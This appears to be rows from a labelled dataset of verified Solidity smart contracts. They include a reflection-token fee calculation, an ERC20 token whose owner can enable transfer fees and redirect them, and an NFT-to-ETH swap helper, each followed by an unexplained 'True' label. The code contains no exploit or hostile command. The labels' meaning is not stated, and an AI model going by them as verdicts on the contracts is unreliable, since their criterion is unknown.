(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private {
_rTotal = _rTotal.sub(rFee);
_tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) {
uint256[12] memory _localVal;
(_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount);
_localVal[3] /**currentRate*/ = _getRate();
( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]);
return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) {
uint256[5] memory _localVal;
_localVal[0]/**supply*/ = tAmount.div(100).mul(0);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0);
_localVal[2]/**tholder*/ = tAmount.div(100).mul(1 );
_localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15);
_localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]);
return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurnValue = tBurnValue.mul(currentRate);
uint256 rLiqidity = tLiquidity.mul(currentRate);
uint256 rTax = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity);
return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() virtual {
require(msg.sender == owner);
_;
}
/**
* @dev propeses a new owner
* Can only be called by the current owner.
*/
function proposeOwner(address payable _newOwner) external onlyOwner {
proposedOwner = _newOwner;
}
/**
* @dev claims ownership of the contract
* Can only be called by the new proposed owner.
*/
function claimOwnership() external {
require(msg.sender == proposedOwner);
emit OwnershipTransferred(owner, proposedOwner);
owner = proposedOwner;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity 0.8.4;
contract LadyLeash is ERC20, Owned {
uint256 public minSupply;
address public beneficiary;
bool public feesEnabled;
mapping(address => bool) public isExcludedFromFee;
event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount);
event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary);
event FeesEnabledUpdated(bool enabled);
event ExcludedFromFeeUpdated(address account, bool excluded);
constructor() ERC20("Lady Leash", "LL") {
minSupply = 100000000 ether;
uint256 totalSupply = 1000000000000000 ether;
feesEnabled = false;
_mint(_msgSender(), totalSupply);
isExcludedFromFee[msg.sender] = true;
isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
beneficiary = msg.sender;
}
/**
* @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary
* @dev after a certain threshold, try to swap collected fees automatically
* @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(
recipient != address(this),
"Cannot send tokens to token contract"
);
if (
!feesEnabled ||
isExcludedFromFee[sender] ||
isExcludedFromFee[recipient]
) {
ERC20._transfer(sender, recipient, amount);
return;
}
// burn tokens if min supply not reached yet
uint256 burnedFee = calculateFee(amount, 25);
if (totalSupply() - burnedFee >= minSupply) {
_burn(sender, burnedFee);
} else {
burnedFee = 0;
}
uint256 transferFee = calculateFee(amount, 200);
ERC20._transfer(sender, beneficiary, transferFee);
ERC20._transfer(sender, recipient, amount - transferFee - burnedFee);
}
function calculateFee(uint256 _amount, uint256 _fee)
public
pure
returns (uint256)
{
return (_amount * _fee) / 10000;
}
/**
* @notice allows to burn tokens from own balance
* @dev only allows burning tokens until minimum supply is reached
* @param value amount of tokens to burn
*/
function burn(uint256 value) public {
_burn(_msgSender(), value);
require(totalSupply() >= minSupply, "total supply exceeds min supply");
}
/**
* @notice sets minimum supply of the token
* @dev only callable by owner
* @param _newMinSupply new minimum supply
*/
function setMinSupply(uint256 _newMinSupply) public onlyOwner {
emit MinSupplyUpdated(minSupply, _newMinSupply);
minSupply = _newMinSupply;
}
/**
* @notice sets recipient of transfer fee
* @dev only callable by owner
* @param _newBeneficiary new beneficiary
*/
function setBeneficiary(address _newBeneficiary) public onlyOwner {
setExcludeFromFee(_newBeneficiary, true);
emit BeneficiaryUpdated(beneficiary, _newBeneficiary);
beneficiary = _newBeneficiary;
}
/**
* @notice sets whether account collects fees on token transfer
* @dev only callable by owner
* @param _enabled bool whether fees are enabled
*/
function setFeesEnabled(bool _enabled) public onlyOwner {
emit FeesEnabledUpdated(_enabled);
feesEnabled = _enabled;
}
/**
* @notice adds or removes an account that is exempt from fee collection
* @dev only callable by owner
* @param _account account to modify
* @param _excluded new value
*/
function setExcludeFromFee(address _account, bool _excluded)
public
onlyOwner
{
isExcludedFromFee[_account] = _excluded;
emit ExcludedFromFeeUpdated(_account, _excluded);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-14
*/
// SPDX-License-Identifier: NONE
pragma solidity 0.6.6;
// Part: IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function symbol() external view returns(string memory);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: IMoonCats
interface IMoonCats {
function balanceOf(address) external view returns(uint256);
function catOwners(bytes5) external view returns(address);
function acceptAdoptionOffer(bytes5 catId) external payable;
function makeAdoptionOfferToAddress(bytes5 catId, uint price, address to) external;
function makeAdoptionRequest(bytes5 catId) external payable;
function giveCat(bytes5 catId, address to) external;
function addGenesisCatGroup() external;
function getCatDetails(bytes5 catId) external view returns (bytes5 id,
address owner,
bytes32 name,
address onlyOfferTo,
uint offerPrice,
address requester,
uint requestPrice);
event GenesisCatsAdded(bytes5[16] catIds);
event CatRescued(address indexed to, bytes5 indexed catId);
}
// Part: OpenZeppelin/[email protected]/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: Uniswap
// sushi router: 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F
// uni router: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
interface Uniswap {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[email protected]/IERC721
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Part: cat20
interface cat20 is IERC20 {
function multi721Deposit(uint256[] calldata _ids, address _referral) external;
}
// Part: ICatWrapper
interface ICatWrapper is IERC721 {
function wrap(bytes5 catId) external;
function totalSupply() external view returns (uint256);
function unwrap(uint256 tokenID) external;
}
// File: CatSeller.sol
contract CatSeller {
ICatWrapper constant wrapper = ICatWrapper(0x7C40c393DC0f283F318791d746d894DdD3693572);
IMoonCats constant cats = IMoonCats(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6);
cat20 constant tokenWrapper = cat20(0xf961A1Fa7C781Ecd23689fE1d0B7f3B6cBB2f972);
Uniswap constant router = Uniswap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
constructor() public {
tokenWrapper.approve(address(router), uint256(-1));
}
function nftsToEth(uint256[] calldata _tokenIds, uint256 _min, bytes calldata _data) external {
address wrap = address(tokenWrapper);
for (uint256 i = 0; i < _tokenIds.length; i++)
wrapper.safeTransferFrom(msg.sender, wrap, _tokenIds[i], _data);
_swapAll(_min);
}
function nftToEth(uint256 _tokenId, uint256 _min, bytes memory _data) public {
wrapper.safeTransferFrom(msg.sender, address(tokenWrapper), _tokenId, _data);
_swapAll(_min);
}
function _swapAll(uint256 _min) internal {
address[] memory path = new address[](2);
path[0] = address(tokenWrapper);
path[1] = weth;
router.swapExactTokensForETH(tokenWrapper.balanceOf(address(this)), _min, path, msg.sender, block.timestamp + 1);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
